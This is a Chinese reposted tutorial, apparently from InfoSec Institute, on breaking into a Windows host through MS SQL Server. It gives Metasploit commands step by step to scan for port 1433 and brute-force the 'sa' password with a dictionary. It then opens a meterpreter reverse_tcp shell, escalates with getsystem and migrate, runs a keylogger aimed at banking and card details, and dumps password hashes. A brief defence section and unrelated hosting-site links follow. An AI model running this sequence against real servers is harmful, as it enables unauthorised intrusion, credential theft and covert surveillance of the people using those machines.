从攻击MS SQL Server到获得系统访问权限

当谈及SQL服务器,几乎所有的系统管理员和数据库管理员都会同意这样一个观点:管理员并不都有设置复杂密码的意识。看起来这或许方便技术支持人员进行简单故障排除,但却过低评估了它的风险性。当然这些还不重要,重要的是,它更容易让攻击者攻击系统。

在这次攻击中,我们将使用到的是Linux Kali和预装了的Metasploit框架,我们的目标计算机是一台运行有Microsoft SQL Server 2005的Windows XP系统计算机。当然,同样的攻击也可以在任何MS SQL平台和Windows操作系统下进行,因为在这里系统的弱点是密码的强度,而不是环境本身。

探测

如同所有的攻击一样,首先我们要对目标计算机的系统信息等进行收集。

我们的选择的是使用nmap工具来扫描某一个IP范围的SQL的通用端口(1433)。

命令:

NMAP-ST-A-PO 192.168.23.0/24

Metasploit也内置了mssql_ping扫描,可以在一个特定的IP范围识别任何微软的SQL服务。

命令:

use auxiliary/scanner/mssql/mssql_ping

set RHOSTS 192.168.23.0/24 (我们目标的IP段)

set THREADS 8

run

现在,我们已经知道我们的目标系统(192.168.23.100),以及Microsoft SQL Server(版本2005 SP4,TCP端口1433)等一些细节,我们可以继续进行下一个步骤。

攻击

这次攻击是基于一个简单的原理。在大多数情况下,微软的SQL服务器将被安装在一个混合模式下。它的默认用户是“sa”,很多时候对于默认用户只有一个简单的密码。这意味着它会比较容易进行暴力破解得到密码,使用字典文件。这些字典文件可以从网上下载或自己生成。生成定制字典的好处是,允许手动添加特定的术语和字段,比如在安装应用程序是可能使用软相关件名称或销售商作为密码。例如,Sandstone的数据库密码就很可能是像“Sandstone01”这样的字段。

对于攻击,我们将使用内置的工具MSSQL_Login。指定目标和密码文件之后,攻击就开始了。

命令:

use auxiliary/scanner/mssql/mssql_login

Set PASS_FILE /root/passwords.txt (字典文件)

Set RHOSTS 192.168.23.100

Set Threads 8

Set verbose false

run

如果如果这一步攻击成功就可以获取到“SA”的密码。此间价值还用在多说什么,允许数据库操有木有!但是,在这次攻击中,我们将使用SA帐户来访问底层的Windows操作系统。

开发

现在我们可以用这个SA密码与我们的目标计算机建立联系。Kali Linux内置有一个名为mssql_payload的工具。这个工具将允许我们通过端口1433发送我们新的登陆凭据的有效载荷。在这里我们就是基于此攻击目标与我们之间的会话的。

命令:

use exploit/windows/mssql/mssql_payload

set RHOST 192.168.23.100 (我们的目标)

set password Password01 (我们刚刚获取的密码)

use payload/windows/meterpreter/reverse_tcp(our selected payload)

exploit

现在,有趣的事情开始。我们已经打开了目标会话,从这里我们可以进行很多命令了。但要小心,别手抖。当我们将Meterpreter文件安装到目标计算机的时候,很多病毒防御程序会对其进行检测、拦截和并删除处理。从以往的经验来看,我想说许多SQL服务器管理员都会禁止使用任扫描中任何的访问形式,从而可以获得最大的性能由服务器托管数据库。如果该目标计算机一直在在运行,例如,一个通宵的病毒扫描,它会留给攻击者充足的时间来进行攻击和收集系统数据,然后从容离开,深藏功与名。

除了使用的Meterpreter有效载荷,其他的有效载荷也可以使用。这里的执行命令如上述相类,只是改变有效负载名称的问题而已。比如,有效载荷“generic/shell_bind_tcp”,将在命令提示符下访问目标系统。

提权

对于很多命令来说,我们需要提升我们用户的访问权限。比如使用截取屏幕工具、键盘记录工具和提取密码哈希值工具等都需要管理员权限来运行。

在这里我们使用了简单的Meterpreter shell。首先,我们使用ps命令生成一系列进程。然后,我们可以使用migrate命令将一个进程提升至更高系统访问许可。在这种情况下,这将好比是explorer.exe进程。

现在有我们需要使用一个额外的命令:getsystem。这将使Meterpreter系统的migrate命令得以实现。如果没有这一点,“权限不足”,进程提升将不能进行。

命令:

Ps(这将显示正在运行的进程及其相应的PID的)

Getsystem(获得系统权限)

Migrate 1064(在该例子中的explorer.exePID)

数据收集

现在,我们有了完整的系统访问权想,我们可以使用一些其他的工具来收集我们所需要的数据。

命令:

Screenshot

在这里将创建目标的截图,然后以jpeg格式保存。

命令:

Run post/windows/capture/keylog_recorder

这将在目标上运行一个键盘记录工具和将键盘记录重新编码的保存在系统中的文本文件中。键盘记录可以获取获取网页的登录信息,银行帐户和信用卡信息等。尽管此间有反病毒防御程序,但是,依旧可以轻松地拿到这个键盘记录。

命令:

Migrate 772(Services.exe的PID)

Run post/windows/gather/hashdump

在一个系统中用户口令通常存储hash值中,可以通过纯碎的暴力破解或是字典、彩虹表等方式进行破解。此处作者为自己之前的一篇相关文章打了广告——

http://resources.infosecinstitute.com/password-auditing-on-active-directory-databases/

为了获得目标系统的hash值,我们需要提升services.exe进程,以便能够获得足够的系统的访问权限。

这些hash值可以用许多暴力破解工具,比如Ophcrack的和Hashcat。

结果

在以上几个简单步骤中,我们可以看到我们已经可以通过使用一个开放的SQL Server端口绕过任何防火墙,不仅获得了完整的数据库访问权限,并据此进一步获得完整的操作系统访问权限。该键盘记录和提取hash值还可能收集更多有用的网络的详细信息,如用户名和密码,以及很可能获得进一步访问其他系统的信息。

如何抵御这种攻击

有几个建议可以保护系统免受这种攻击。首先,使用“正确”的密码!不管出于什么原因,一个SQL服务器的SA的密码,不应该可以不用花多大精力就可以暴力破解的。此外,安装一个入侵检测系统或者干脆自动或手动监控日志,这样可以根据大量的失败登陆日志检测出暴力攻击。另一个方法就是在系统运行一个病毒防御软件。在这个例子中,有效载荷会在攻击之前被侦测到并删除或隔离。

原文地址:http://resources.infosecinstitute.com/attacking-ms-sql-server-gain-system-access/

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/130785.html<

(0)
管理的头像管理
上一篇2025-02-26 06:01
下一篇 2025-02-26 06:03

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注